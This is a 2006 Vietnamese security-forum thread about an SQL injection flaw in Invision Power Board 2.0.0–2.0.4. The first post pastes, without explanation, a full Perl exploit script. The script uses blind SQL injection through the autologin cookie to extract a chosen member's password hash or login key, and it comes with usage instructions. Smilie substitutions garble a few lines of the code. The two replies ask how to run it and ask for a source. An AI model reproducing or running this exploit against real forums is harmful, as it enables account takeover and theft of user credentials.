Lỗi SQL injection của IPB v 2.0.0 - 2.0.4

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Lỗi SQL injection của IPB v 2.0.0 - 2.0.4

[Question] Lỗi SQL injection của IPB v 2.0.0 - 2.0.4	07/08/2006 08:01:36 (+0700) \| #1 \| 12821

hinavietnam
Member

Joined: 02/08/2006 14:42:18
Messages: 16
Location: Japan
Offline

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key') smilie

'password');

$server =~ s! http://)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*') smilie

' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{bb DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : ') smilie

'PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while(<$socket> smilie

{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

[Question] Lỗi SQL injection của IPB v 2.0.0 - 2.0.4	08/08/2006 21:45:09 (+0700) \| #2 \| 13231

+Newbie+
Member

Joined: 26/06/2006 01:24:42
Messages: 25
Location: Cần Thơ
Offline

XÀi như thế nào hả pác smilie

[Question] Re: Lỗi SQL injection của IPB v 2.0.0 - 2.0.4	09/08/2006 04:04:12 (+0700) \| #3 \| 13301

KINYO
Member

Joined: 30/06/2006 19:10:11
Messages: 272
Location: localhost
Offline

Phải cho cái nguồn, ví dụ securityfocus.com chẳng hạn, chứ không thì biết thế nào được.

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